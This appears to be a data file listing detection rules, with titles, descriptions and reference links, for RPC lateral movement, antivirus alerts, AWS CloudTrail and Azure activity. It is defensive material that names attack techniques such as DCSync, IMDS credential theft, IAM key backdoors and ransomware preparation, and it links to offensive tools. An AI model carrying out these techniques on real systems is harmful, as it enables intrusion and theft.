Remote Schedule Task Lateral Movement via ATSvc	Detects remote RPC calls to create or execute a scheduled task via ATSvc	https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-tsch/d1058a28-7e02-4948-8b8d-4a347fa64931, https://github.com/jsecurity101/MSRPC-to-ATTACK/blob/ddd4608fe8684fcf2fcf9b48c5f0b3c28097f8a3/documents/MS-TSCH.md, https://github.com/zeronetworks/rpcfirewall, https://zeronetworks.com/blog/stopping-lateral-movement-via-the-rpc-firewall/
Remote Schedule Task Recon via AtScv	Detects remote RPC calls to read information about scheduled tasks via AtScv	https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-tsch/d1058a28-7e02-4948-8b8d-4a347fa64931, https://github.com/zeronetworks/rpcfirewall, https://github.com/jsecurity101/MSRPC-to-ATTACK/blob/ddd4608fe8684fcf2fcf9b48c5f0b3c28097f8a3/documents/MS-TSCH.md, https://zeronetworks.com/blog/stopping-lateral-movement-via-the-rpc-firewall/
Possible DCSync Attack	Detects remote RPC calls to MS-DRSR from non DC hosts, which could indicate DCSync / DCShadow attacks.	https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-drsr/f977faaa-673e-4f66-b9bf-48c640241d47?redirectedfrom=MSDN, https://github.com/jsecurity101/MSRPC-to-ATTACK/blob/ddd4608fe8684fcf2fcf9b48c5f0b3c28097f8a3/documents/MS-DRSR.md, https://github.com/zeronetworks/rpcfirewall, https://zeronetworks.com/blog/stopping-lateral-movement-via-the-rpc-firewall/
Remote Event Log Recon	Detects remote RPC calls to get event log information via EVEN or EVEN6	https://github.com/zeronetworks/rpcfirewall, https://zeronetworks.com/blog/stopping-lateral-movement-via-the-rpc-firewall/
Remote Encrypting File System Abuse	Detects remote RPC calls to possibly abuse remote encryption service via MS-EFSR	https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-36942, https://github.com/jsecurity101/MSRPC-to-ATTACK/blob/ddd4608fe8684fcf2fcf9b48c5f0b3c28097f8a3/documents/MS-EFSR.md, https://github.com/zeronetworks/rpcfirewall, https://zeronetworks.com/blog/stopping-lateral-movement-via-the-rpc-firewall/
Remote Schedule Task Lateral Movement via ITaskSchedulerService	Detects remote RPC calls to create or execute a scheduled task	https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-tsch/d1058a28-7e02-4948-8b8d-4a347fa64931, https://github.com/jsecurity101/MSRPC-to-ATTACK/blob/ddd4608fe8684fcf2fcf9b48c5f0b3c28097f8a3/documents/MS-TSCH.md, https://github.com/zeronetworks/rpcfirewall, https://zeronetworks.com/blog/stopping-lateral-movement-via-the-rpc-firewall/
Remote Schedule Task Recon via ITaskSchedulerService	Detects remote RPC calls to read information about scheduled tasks	https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-tsch/d1058a28-7e02-4948-8b8d-4a347fa64931, https://github.com/jsecurity101/MSRPC-to-ATTACK/blob/ddd4608fe8684fcf2fcf9b48c5f0b3c28097f8a3/documents/MS-TSCH.md, https://github.com/zeronetworks/rpcfirewall, https://zeronetworks.com/blog/stopping-lateral-movement-via-the-rpc-firewall/
Remote Printing Abuse for Lateral Movement	Detects remote RPC calls to possibly abuse remote printing service via MS-RPRN / MS-PAR	https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-34527, https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-rprn/d42db7d5-f141-4466-8f47-0a4be14e2fc1, https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-pan/e44d984c-07d3-414c-8ffc-f8c8ad8512a8, https://github.com/jsecurity101/MSRPC-to-ATTACK/blob/ddd4608fe8684fcf2fcf9b48c5f0b3c28097f8a3/documents/MS-RPRN-PAR.md, https://github.com/zeronetworks/rpcfirewall, https://zeronetworks.com/blog/stopping-lateral-movement-via-the-rpc-firewall/
Remote DCOM/WMI Lateral Movement	Detects remote RPC calls that performs remote DCOM operations. These could be abused for lateral movement via DCOM or WMI.	https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-srvs/accf23b0-0f57-441c-9185-43041f1b0ee9, https://github.com/zeronetworks/rpcfirewall, https://zeronetworks.com/blog/stopping-lateral-movement-via-the-rpc-firewall/
Remote Registry Lateral Movement	Detects remote RPC calls to modify the registry and possible execute code	https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-rrp/0fa3191d-bb79-490a-81bd-54c2601b7a78, https://github.com/jsecurity101/MSRPC-to-ATTACK/blob/ddd4608fe8684fcf2fcf9b48c5f0b3c28097f8a3/documents/MS-RRP.md, https://github.com/zeronetworks/rpcfirewall, https://zeronetworks.com/blog/stopping-lateral-movement-via-the-rpc-firewall/
Remote Registry Recon	Detects remote RPC calls to collect information	https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-rrp/0fa3191d-bb79-490a-81bd-54c2601b7a78, https://github.com/jsecurity101/MSRPC-to-ATTACK/blob/ddd4608fe8684fcf2fcf9b48c5f0b3c28097f8a3/documents/MS-RRP.md, https://github.com/zeronetworks/rpcfirewall, https://zeronetworks.com/blog/stopping-lateral-movement-via-the-rpc-firewall/
Remote Server Service Abuse	Detects remote RPC calls to possibly abuse remote encryption service via MS-SRVS	https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-srvs/accf23b0-0f57-441c-9185-43041f1b0ee9, https://github.com/jsecurity101/MSRPC-to-ATTACK/blob/ddd4608fe8684fcf2fcf9b48c5f0b3c28097f8a3/documents/MS-SRVS.md, https://github.com/zeronetworks/rpcfirewall, https://zeronetworks.com/blog/stopping-lateral-movement-via-the-rpc-firewall/
Remote Server Service Abuse for Lateral Movement	Detects remote RPC calls to possibly abuse remote encryption service via MS-EFSR	https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-srvs/accf23b0-0f57-441c-9185-43041f1b0ee9, https://github.com/jsecurity101/MSRPC-to-ATTACK/blob/ddd4608fe8684fcf2fcf9b48c5f0b3c28097f8a3/documents/MS-SCMR.md, https://github.com/zeronetworks/rpcfirewall, https://zeronetworks.com/blog/stopping-lateral-movement-via-the-rpc-firewall/
Remote Schedule Task Lateral Movement via SASec	Detects remote RPC calls to create or execute a scheduled task via SASec	https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-tsch/d1058a28-7e02-4948-8b8d-4a347fa64931, https://github.com/jsecurity101/MSRPC-to-ATTACK/blob/ddd4608fe8684fcf2fcf9b48c5f0b3c28097f8a3/documents/MS-TSCH.md, https://github.com/zeronetworks/rpcfirewall, https://zeronetworks.com/blog/stopping-lateral-movement-via-the-rpc-firewall/
Recon Activity via SASec	Detects remote RPC calls to read information about scheduled tasks via SASec	https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-tsch/d1058a28-7e02-4948-8b8d-4a347fa64931, https://github.com/jsecurity101/MSRPC-to-ATTACK/blob/ddd4608fe8684fcf2fcf9b48c5f0b3c28097f8a3/documents/MS-TSCH.md, https://github.com/zeronetworks/rpcfirewall, https://zeronetworks.com/blog/stopping-lateral-movement-via-the-rpc-firewall/
SharpHound Recon Account Discovery	Detects remote RPC calls useb by SharpHound to map remote connections and local group membership.	https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-wkst/55118c55-2122-4ef9-8664-0c1ff9e168f3, https://github.com/jsecurity101/MSRPC-to-ATTACK/blob/ddd4608fe8684fcf2fcf9b48c5f0b3c28097f8a3/documents/MS-WKST.md, https://github.com/zeronetworks/rpcfirewall, https://zeronetworks.com/blog/stopping-lateral-movement-via-the-rpc-firewall/
SharpHound Recon Sessions	Detects remote RPC calls useb by SharpHound to map remote connections and local group membership.	https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-srvs/02b1f559-fda2-4ba3-94c2-806eb2777183, https://github.com/jsecurity101/MSRPC-to-ATTACK/blob/ddd4608fe8684fcf2fcf9b48c5f0b3c28097f8a3/documents/MS-SRVS.md, https://github.com/zeronetworks/rpcfirewall, https://zeronetworks.com/blog/stopping-lateral-movement-via-the-rpc-firewall/
Ruby on Rails Framework Exceptions	Detects suspicious Ruby on Rails exceptions that could indicate exploitation attempts	http://edgeguides.rubyonrails.org/security.html, http://guides.rubyonrails.org/action_controller_overview.html, https://stackoverflow.com/questions/25892194/does-rails-come-with-a-not-authorized-exception, https://github.com/rails/rails/blob/cd08e6bcc4cd8948fe01e0be1ea0c7ca60373a25/actionpack/lib/action_dispatch/middleware/exception_wrapper.rb
Spring Framework Exceptions	Detects suspicious Spring framework exceptions that could indicate exploitation attempts	https://docs.spring.io/spring-security/site/docs/current/api/overview-tree.html
Potential SpEL Injection In Spring Framework	Detects potential SpEL Injection exploitation, which may lead to RCE.	https://owasp.org/www-community/vulnerabilities/Expression_Language_Injection, https://www.wix.engineering/post/threat-and-vulnerability-hunting-with-application-server-error-logs
Suspicious SQL Error Messages	Detects SQL error messages that indicate probing for an injection attack	http://www.sqlinjection.net/errors
Potential Server Side Template Injection In Velocity	Detects exceptions in velocity template renderer, this most likely happens due to dynamic rendering of user input and may lead to RCE.	https://antgarsil.github.io/posts/velocity/, https://www.wix.engineering/post/threat-and-vulnerability-hunting-with-application-server-error-logs
Antivirus Exploitation Framework Detection	Detects a highly relevant Antivirus alert that reports an exploitation framework. This event must not be ignored just because the AV has blocked the malware but investigate, how it came there in the first place.	https://www.nextron-systems.com/?s=antivirus, https://www.virustotal.com/gui/file/925b0b28472d4d79b4bf92050e38cc2b8f722691c713fc28743ac38551bc3797, https://www.virustotal.com/gui/file/8f8daabe1c8ceb5710949283818e16c4aa8059bf2ce345e2f2c90b8692978424, https://www.virustotal.com/gui/file/d9669f7e3eb3a9cdf6a750eeb2ba303b5ae148a43e36546896f1d1801e912466
Antivirus Hacktool Detection	Detects a highly relevant Antivirus alert that reports a hack tool or other attack tool. This event must not be ignored just because the AV has blocked the malware but investigate, how it came there in the first place.	https://www.nextron-systems.com/2021/08/16/antivirus-event-analysis-cheat-sheet-v1-8-2/, https://www.nextron-systems.com/?s=antivirus
Antivirus Password Dumper Detection	Detects a highly relevant Antivirus alert that reports a password dumper. This event must not be ignored just because the AV has blocked the malware but investigate, how it came there in the first place.	https://www.nextron-systems.com/?s=antivirus, https://www.virustotal.com/gui/file/5fcda49ee7f202559a6cbbb34edb65c33c9a1e0bde9fa2af06a6f11b55ded619, https://www.virustotal.com/gui/file/a4edfbd42595d5bddb442c82a02cf0aaa10893c1bf79ea08b9ce576f82749448
Antivirus Ransomware Detection	Detects a highly relevant Antivirus alert that reports ransomware. This event must not be ignored just because the AV has blocked the malware but investigate, how it came there in the first place.	https://www.nextron-systems.com/?s=antivirus, https://www.virustotal.com/gui/file/43b0f7872900bd234975a0877744554f4f355dc57505517abd1ef611e1ce6916, https://www.virustotal.com/gui/file/c312c05ddbd227cbb08958876df2b69d0f7c1b09e5689eb9d93c5b357f63eff7, https://www.virustotal.com/gui/file/20179093c59bca3acc6ce9a4281e8462f577ffd29fd7bf51cf2a70d106062045, https://www.virustotal.com/gui/file/554db97ea82f17eba516e6a6fdb9dc04b1d25580a1eb8cb755eeb260ad0bd61d, https://www.virustotal.com/gui/file/69fe77dd558e281621418980040e2af89a2547d377d0f2875502005ce22bc95c, https://www.virustotal.com/gui/file/6f0f20da34396166df352bf301b3c59ef42b0bc67f52af3d541b0161c47ede05
Antivirus Web Shell Detection	Detects a highly relevant Antivirus alert that reports a web shell. It's highly recommended to tune this rule to the specific strings used by your anti virus solution by downloading a big WebShell repository from e.g. github and checking the matches. This event must not be ignored just because the AV has blocked the malware but investigate, how it came there in the first place.	https://www.nextron-systems.com/?s=antivirus, https://github.com/tennc/webshell, https://www.virustotal.com/gui/file/bd1d52289203866645e556e2766a21d2275877fbafa056a76fe0cf884b7f8819/detection, https://www.virustotal.com/gui/file/308487ed28a3d9abc1fec7ebc812d4b5c07ab025037535421f64c60d3887a3e8/detection, https://www.virustotal.com/gui/file/7d3cb8a8ff28f82b07f382789247329ad2d7782a72dde9867941f13266310c80/detection, https://www.virustotal.com/gui/file/e841675a4b82250c75273ebf0861245f80c6a1c3d5803c2d995d9d3b18d5c4b5/detection, https://www.virustotal.com/gui/file/a80042c61a0372eaa0c2c1e831adf0d13ef09feaf71d1d20b216156269045801/detection, https://www.virustotal.com/gui/file/b219f7d3c26f8bad7e175934cd5eda4ddb5e3983503e94ff07d39c0666821b7e/detection, https://www.virustotal.com/gui/file/b8702acf32fd651af9f809ed42d15135f842788cd98d81a8e1b154ee2a2b76a2/detection, https://www.virustotal.com/gui/file/13ae8bfbc02254b389ab052aba5e1ba169b16a399d9bc4cb7414c4a73cd7dc78/detection
Antivirus Relevant File Paths Alerts	Detects an Antivirus alert in a highly relevant file path or with a relevant file name. This event must not be ignored just because the AV has blocked the malware but investigate, how it came there in the first place.	https://www.nextron-systems.com/?s=antivirus
Suspicious SQL Query	Detects suspicious SQL query keywrods that are often used during recon, exfiltration or destructive activities. Such as dropping tables and selecting wildcard fields	https://github.com/sqlmapproject/sqlmap
AWS Attached Malicious Lambda Layer	Detects when an user attached a Lambda layer to an existing function to override a library that is in use by the function, where their malicious code could utilize the function's IAM role for AWS API calls. This would give an adversary access to the privileges associated with the Lambda service role that is attached to that function.	https://docs.aws.amazon.com/lambda/latest/dg/API_UpdateFunctionConfiguration.html
AWS CloudTrail Important Change	Detects disabling, deleting and updating of a Trail	https://docs.aws.amazon.com/awscloudtrail/latest/userguide/best-practices-security.html
Malicious Usage Of IMDS Credentials Outside Of AWS Infrastructure	Detects when an instance identity has taken an action that isn't inside SSM. This can indicate that a compromised EC2 instance is being used as a pivot point.	https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ec2-instance-identity-roles.html, https://ermetic.com/blog/aws/aws-ec2-imds-what-you-need-to-know/, https://www.packetmischief.ca/2023/07/31/amazon-ec2-credential-exfiltration-how-it-happens-and-how-to-mitigate-it/#lifting-credentials-from-imds-this-is-why-we-cant-have-nice-things
New Network ACL Entry Added	Detects that network ACL entries have been added to a route table which could indicate that new attack vectors have been opened up in the AWS account.	https://www.gorillastack.com/blog/real-time-events/important-aws-cloudtrail-security-events-tracking/
New Network Route Added	Detects the addition of a new network route to a route table in AWS.	https://www.gorillastack.com/blog/real-time-events/important-aws-cloudtrail-security-events-tracking/
Ingress/Egress Security Group Modification	Detects when an account makes changes to the ingress or egress rules of a security group. This can indicate that an attacker is attempting to open up new attack vectors in the account, that they are trying to exfiltrate data over the network, or that they are trying to allow machines in that VPC/Subnet to contact a C&C server.	https://www.gorillastack.com/blog/real-time-events/important-aws-cloudtrail-security-events-tracking/
LoadBalancer Security Group Modification	Detects changes to the security groups associated with an Elastic Load Balancer (ELB) or Application Load Balancer (ALB). This can indicate that a misconfiguration allowing more traffic into the system than required, or could indicate that an attacker is attempting to enable new connections into a VPC or subnet controlled by the account.	https://www.gorillastack.com/blog/real-time-events/important-aws-cloudtrail-security-events-tracking/
RDS Database Security Group Modification	Detects changes to the security group entries for RDS databases. This can indicate that a misconfiguration has occurred which potentially exposes the database to the public internet, a wider audience within the VPC or that removal of valid rules has occurred which could impact the availability of the database to legitimate services and users.	https://www.gorillastack.com/blog/real-time-events/important-aws-cloudtrail-security-events-tracking/
Potential Malicious Usage of CloudTrail System Manager	Detect when System Manager successfully executes commands against an instance.	https://github.com/elastic/detection-rules/blob/main/rules/integrations/aws/initial_access_via_system_manager.toml
AWS Config Disabling Channel/Recorder	Detects AWS Config Service disabling	https://docs.aws.amazon.com/config/latest/developerguide/cloudtrail-log-files-for-aws-config.html
AWS Console GetSigninToken Potential Abuse	Detects potentially suspicious events involving "GetSigninToken". An adversary using the "aws_consoler" tool can leverage this console API to create temporary federated credential that help obfuscate which AWS credential is compromised (the original access key) and enables the adversary to pivot from the AWS CLI to console sessions without the need for MFA using the new access key issued in this request.	https://github.com/NetSPI/aws_consoler, https://www.crowdstrike.com/blog/analysis-of-intrusion-campaign-targeting-telecom-and-bpo-companies/
SES Identity Has Been Deleted	Detects an instance of an SES identity being deleted via the "DeleteIdentity" event. This may be an indicator of an adversary removing the account that carried out suspicious or malicious activities	https://unit42.paloaltonetworks.com/compromised-cloud-compute-credentials/
AWS SAML Provider Deletion Activity	Detects the deletion of an AWS SAML provider, potentially indicating malicious intent to disrupt administrative or security team access. An attacker can remove the SAML provider for the information security team or a team of system administrators, to make it difficult for them to work and investigate at the time of the attack and after it.	https://docs.aws.amazon.com/IAM/latest/APIReference/API_DeleteSAMLProvider.html
AWS S3 Bucket Versioning Disable	Detects when S3 bucket versioning is disabled. Threat actors use this technique during AWS ransomware incidents prior to deleting S3 objects.	https://invictus-ir.medium.com/ransomware-in-the-cloud-7f14805bbe82
AWS Key Pair Import Activity	Detects the import of SSH key pairs into AWS EC2, which may indicate an attacker attempting to gain unauthorized access to instances. This activity could lead to initial access, persistence, or privilege escalation, potentially compromising sensitive data and operations.	https://docs.aws.amazon.com/AWSEC2/latest/APIReference/API_ImportKeyPair.html
AWS EC2 Disable EBS Encryption	Identifies disabling of default Amazon Elastic Block Store (EBS) encryption in the current region. Disabling default encryption does not change the encryption status of your existing volumes.	https://docs.aws.amazon.com/AWSEC2/latest/APIReference/API_DisableEbsEncryptionByDefault.html
AWS EC2 Startup Shell Script Change	Detects changes to the EC2 instance startup script. The shell script will be executed as root/SYSTEM every time the specific instances are booted up.	https://github.com/RhinoSecurityLabs/pacu/blob/866376cd711666c775bbfcde0524c817f2c5b181/pacu/modules/ec2__startup_shell_script/main.py#L9
AWS EC2 VM Export Failure	An attempt to export an AWS EC2 instance has been detected. A VM Export might indicate an attempt to extract information from an instance.	https://docs.aws.amazon.com/vm-import/latest/userguide/vmexport.html#export-instance
AWS ECS Task Definition That Queries The Credential Endpoint	Detects when an Elastic Container Service (ECS) Task Definition includes a command to query the credential endpoint. This can indicate a potential adversary adding a backdoor to establish persistence or escalate privileges.	https://github.com/RhinoSecurityLabs/pacu/blob/866376cd711666c775bbfcde0524c817f2c5b181/pacu/modules/ecs__backdoor_task_def/main.py, https://docs.aws.amazon.com/AmazonECS/latest/APIReference/API_RegisterTaskDefinition.html, https://docs.aws.amazon.com/AmazonECS/latest/developerguide/task-iam-roles.html
AWS EFS Fileshare Modified or Deleted	Detects when a EFS Fileshare is modified or deleted. You can't delete a file system that is in use. If the file system has any mount targets, the adversary must first delete them, so deletion of a mount will occur before deletion of a fileshare.	https://docs.aws.amazon.com/efs/latest/ug/API_DeleteFileSystem.html
AWS EFS Fileshare Mount Modified or Deleted	Detects when a EFS Fileshare Mount is modified or deleted. An adversary breaking any file system using the mount target that is being deleted, which might disrupt instances or applications using those mounts.	https://docs.aws.amazon.com/efs/latest/ug/API_DeleteMountTarget.html
AWS EKS Cluster Created or Deleted	Identifies when an EKS cluster is created or deleted.	https://any-api.com/amazonaws_com/eks/docs/API_Description
AWS ElastiCache Security Group Created	Detects when an ElastiCache security group has been created.	https://github.com/elastic/detection-rules/blob/598f3d7e0a63221c0703ad9a0ea7e22e7bc5961e/rules/integrations/aws/persistence_elasticache_security_group_creation.toml
AWS ElastiCache Security Group Modified or Deleted	Identifies when an ElastiCache security group has been modified or deleted.	https://github.com/elastic/detection-rules/blob/7d5efd68603f42be5e125b5a6a503b2ef3ac0f4e/rules/integrations/aws/impact_elasticache_security_group_modified_or_deleted.toml
Potential Bucket Enumeration on AWS	Looks for potential enumeration of AWS buckets via ListBuckets.	https://github.com/Lifka/hacking-resources/blob/c2ae355d381bd0c9f0b32c4ead049f44e5b1573f/cloud-hacking-cheat-sheets.md, https://jamesonhacking.blogspot.com/2020/12/pivoting-to-private-aws-s3-buckets.html, https://securitycafe.ro/2022/12/14/aws-enumeration-part-ii-practical-enumeration/
AWS GuardDuty Important Change	Detects updates of the GuardDuty list of trusted IPs, perhaps to disable security alerts against malicious IPs.	https://github.com/RhinoSecurityLabs/pacu/blob/866376cd711666c775bbfcde0524c817f2c5b181/pacu/modules/guardduty__whitelist_ip/main.py#L9
AWS IAM Backdoor Users Keys	Detects AWS API key creation for a user by another user. Backdoored users can be used to obtain persistence in the AWS environment. Also with this alert, you can detect a flow of AWS keys in your org.	https://github.com/RhinoSecurityLabs/pacu/blob/866376cd711666c775bbfcde0524c817f2c5b181/pacu/modules/iam__backdoor_users_keys/main.py
AWS IAM S3Browser Templated S3 Bucket Policy Creation	Detects S3 browser utility creating Inline IAM policy containing default S3 bucket name placeholder value of "".	https://permiso.io/blog/s/unmasking-guivil-new-cloud-threat-actor
AWS IAM S3Browser LoginProfile Creation	Detects S3 Browser utility performing reconnaissance looking for existing IAM Users without a LoginProfile defined then (when found) creating a LoginProfile.	https://permiso.io/blog/s/unmasking-guivil-new-cloud-threat-actor
AWS IAM S3Browser User or AccessKey Creation	Detects S3 Browser utility creating IAM User or AccessKey.	https://permiso.io/blog/s/unmasking-guivil-new-cloud-threat-actor
New AWS Lambda Function URL Configuration Created	Detects when a user creates a Lambda function URL configuration, which could be used to expose the function to the internet and potentially allow unauthorized access to the function's IAM role for AWS API calls. This could give an adversary access to the privileges associated with the Lambda service role that is attached to that function.	https://docs.aws.amazon.com/lambda/latest/dg/API_CreateFunctionUrlConfig.html, https://cloud.hacktricks.xyz/pentesting-cloud/aws-security/aws-privilege-escalation/aws-lambda-privesc, https://www.wiz.io/blog/how-to-set-secure-defaults-on-aws
AWS Glue Development Endpoint Activity	Detects possible suspicious glue development endpoint activity.	https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/, https://docs.aws.amazon.com/glue/latest/webapi/API_CreateDevEndpoint.html
AWS RDS Master Password Change	Detects the change of database master password. It may be a part of data exfiltration.	https://github.com/RhinoSecurityLabs/pacu/blob/866376cd711666c775bbfcde0524c817f2c5b181/pacu/modules/rds__explore_snapshots/main.py
Modification or Deletion of an AWS RDS Cluster	Detects modifications to an RDS cluster or its deletion, which may indicate potential data exfiltration attempts, unauthorized access, or exposure of sensitive information.	https://docs.aws.amazon.com/AmazonRDS/latest/APIReference/API_ModifyDBCluster.html, https://docs.aws.amazon.com/AmazonRDS/latest/APIReference/API_DeleteDBCluster.html, https://cloud.hacktricks.xyz/pentesting-cloud/aws-security/aws-privilege-escalation/aws-rds-privesc#rds-modifydbinstance
Restore Public AWS RDS Instance	Detects the recovery of a new public database instance from a snapshot. It may be a part of data exfiltration.	https://github.com/RhinoSecurityLabs/pacu/blob/866376cd711666c775bbfcde0524c817f2c5b181/pacu/modules/rds__explore_snapshots/main.py
AWS Root Credentials	Detects AWS root account usage	https://docs.aws.amazon.com/IAM/latest/UserGuide/id_root-user.html
AWS Route 53 Domain Transfer Lock Disabled	Detects when a transfer lock was removed from a Route 53 domain. It is recommended to refrain from performing this action unless intending to transfer the domain to a different registrar.	https://github.com/elastic/detection-rules/blob/c76a39796972ecde44cb1da6df47f1b6562c9770/rules/integrations/aws/persistence_route_53_domain_transfer_lock_disabled.toml, https://docs.aws.amazon.com/Route53/latest/APIReference/API_Operations_Amazon_Route_53.html, https://docs.aws.amazon.com/Route53/latest/APIReference/API_domains_DisableDomainTransferLock.html
AWS Route 53 Domain Transferred to Another Account	Detects when a request has been made to transfer a Route 53 domain to another AWS account.	https://github.com/elastic/detection-rules/blob/c76a39796972ecde44cb1da6df47f1b6562c9770/rules/integrations/aws/persistence_route_53_domain_transferred_to_another_account.toml
AWS S3 Data Management Tampering	Detects when a user tampers with S3 data management in Amazon Web Services.	https://github.com/elastic/detection-rules/pull/1145/files, https://docs.aws.amazon.com/AmazonS3/latest/API/API_Operations.html, https://docs.aws.amazon.com/AmazonS3/latest/API/API_PutBucketLogging.html, https://docs.aws.amazon.com/AmazonS3/latest/API/API_PutBucketWebsite.html, https://docs.aws.amazon.com/AmazonS3/latest/API/API_PutBucketEncryption.html, https://docs.aws.amazon.com/AmazonS3/latest/userguide/setting-repl-config-perm-overview.html, https://docs.aws.amazon.com/AmazonS3/latest/API/API_RestoreObject.html
AWS SecurityHub Findings Evasion	Detects the modification of the findings on SecurityHub.	https://docs.aws.amazon.com/cli/latest/reference/securityhub/
AWS Snapshot Backup Exfiltration	Detects the modification of an EC2 snapshot's permissions to enable access from another account	https://www.justice.gov/file/1080281/download
AWS Identity Center Identity Provider Change	Detects a change in the AWS Identity Center (FKA AWS SSO) identity provider. A change in identity provider allows an attacker to establish persistent access or escalate privileges via user impersonation.	https://docs.aws.amazon.com/singlesignon/latest/userguide/app-enablement.html, https://docs.aws.amazon.com/singlesignon/latest/userguide/sso-info-in-cloudtrail.html, https://docs.aws.amazon.com/service-authorization/latest/reference/list_awsiamidentitycentersuccessortoawssinglesign-on.html
AWS STS AssumeRole Misuse	Identifies the suspicious use of AssumeRole. Attackers could move laterally and escalate privileges.	https://github.com/elastic/detection-rules/pull/1214, https://docs.aws.amazon.com/STS/latest/APIReference/API_AssumeRole.html
AWS STS GetSessionToken Misuse	Identifies the suspicious use of GetSessionToken. Tokens could be created and used by attackers to move laterally and escalate privileges.	https://github.com/elastic/detection-rules/pull/1213, https://docs.aws.amazon.com/STS/latest/APIReference/API_GetSessionToken.html
AWS Suspicious SAML Activity	Identifies when suspicious SAML activity has occurred in AWS. An adversary could gain backdoor access via SAML.	https://docs.aws.amazon.com/IAM/latest/APIReference/API_UpdateSAMLProvider.html, https://docs.aws.amazon.com/STS/latest/APIReference/API_AssumeRoleWithSAML.html
AWS User Login Profile Was Modified	Detects activity when someone is changing passwords on behalf of other users. An attacker with the "iam:UpdateLoginProfile" permission on other users can change the password used to login to the AWS console on any user that already has a login profile setup.	https://github.com/RhinoSecurityLabs/AWS-IAM-Privilege-Escalation
Azure Active Directory Hybrid Health AD FS New Server	This detection uses azureactivity logs (Administrative category) to identify the creation or update of a server instance in an Azure AD Hybrid health AD FS service. A threat actor can create a new AD Health ADFS service and create a fake server instance to spoof AD FS signing logs. There is no need to compromise an on-prem AD FS server. This can be done programmatically via HTTP requests to Azure.	https://o365blog.com/post/hybridhealthagent/
Azure Active Directory Hybrid Health AD FS Service Delete	This detection uses azureactivity logs (Administrative category) to identify the deletion of an Azure AD Hybrid health AD FS service instance in a tenant. A threat actor can create a new AD Health ADFS service and create a fake server to spoof AD FS signing logs. The health AD FS service can then be deleted after it is not longer needed via HTTP requests to Azure.	https://o365blog.com/post/hybridhealthagent/
User Added to an Administrator's Azure AD Role	User Added to an Administrator's Azure AD Role	https://m365internals.com/2021/07/13/what-ive-learned-from-doing-a-year-of-cloud-forensics-in-azure-ad/
Azure Application Deleted	Identifies when a application is deleted in Azure.	https://learn.microsoft.com/en-us/entra/identity/monitoring-health/reference-audit-activities#application-proxy
Azure Application Gateway Modified or Deleted	Identifies when a application gateway is modified or deleted.	https://learn.microsoft.com/en-us/azure/role-based-access-control/resource-provider-operations
Azure Application Security Group Modified or Deleted	Identifies when a application security group is modified or deleted.	https://learn.microsoft.com/en-us/azure/role-based-access-control/resource-provider-operations
Azure Application Credential Modified	Identifies when a application credential is modified.	https://www.cloud-architekt.net/auditing-of-msi-and-service-principals/
Azure Container Registry Created or Deleted	Detects when a Container Registry is created or deleted.	https://learn.microsoft.com/en-us/azure/role-based-access-control/resource-provider-operations#microsoftkubernetes, https://www.microsoft.com/security/blog/2021/03/23/secure-containerized-environments-with-updated-threat-matrix-for-kubernetes/, https://www.microsoft.com/security/blog/2020/04/02/attack-matrix-kubernetes/, https://medium.com/mitre-engenuity/att-ck-for-containers-now-available-4c2359654bf1, https://attack.mitre.org/matrices/enterprise/cloud/
Number Of Resource Creation Or Deployment Activities	Number of VM creations or deployment activities occur in Azure via the azureactivity log.	https://github.com/Azure/Azure-Sentinel/blob/e534407884b1ec5371efc9f76ead282176c9e8bb/Detections/AzureActivity/Creating_Anomalous_Number_Of_Resources_detection.yaml
Azure Device No Longer Managed or Compliant	Identifies when a device in azure is no longer managed or compliant	https://learn.microsoft.com/en-us/entra/identity/monitoring-health/reference-audit-activities#core-directory
Azure Device or Configuration Modified or Deleted	Identifies when a device or device configuration in azure is modified or deleted.	https://learn.microsoft.com/en-us/entra/identity/monitoring-health/reference-audit-activities#core-directory
Azure DNS Zone Modified or Deleted	Identifies when DNS zone is modified or deleted.	https://learn.microsoft.com/en-us/azure/role-based-access-control/resource-provider-operations#microsoftkubernetes
Azure Firewall Modified or Deleted	Identifies when a firewall is created, modified, or deleted.	https://learn.microsoft.com/en-us/azure/role-based-access-control/resource-provider-operations
Azure Firewall Rule Collection Modified or Deleted	Identifies when Rule Collections (Application, NAT, and Network) is being modified or deleted.	https://learn.microsoft.com/en-us/azure/role-based-access-control/resource-provider-operations
Granting Of Permissions To An Account	Identifies IPs from which users grant access to other users on azure resources and alerts when a previously unseen source IP address is used.	https://github.com/Azure/Azure-Sentinel/blob/e534407884b1ec5371efc9f76ead282176c9e8bb/Detections/AzureActivity/Granting_Permissions_To_Account_detection.yaml
Azure Keyvault Key Modified or Deleted	Identifies when a Keyvault Key is modified or deleted in Azure.	https://learn.microsoft.com/en-us/azure/role-based-access-control/resource-provider-operations
Azure Key Vault Modified or Deleted	Identifies when a key vault is modified or deleted.	https://learn.microsoft.com/en-us/azure/role-based-access-control/resource-provider-operations
Azure Keyvault Secrets Modified or Deleted	Identifies when secrets are modified or deleted in Azure.	https://learn.microsoft.com/en-us/azure/role-based-access-control/resource-provider-operations
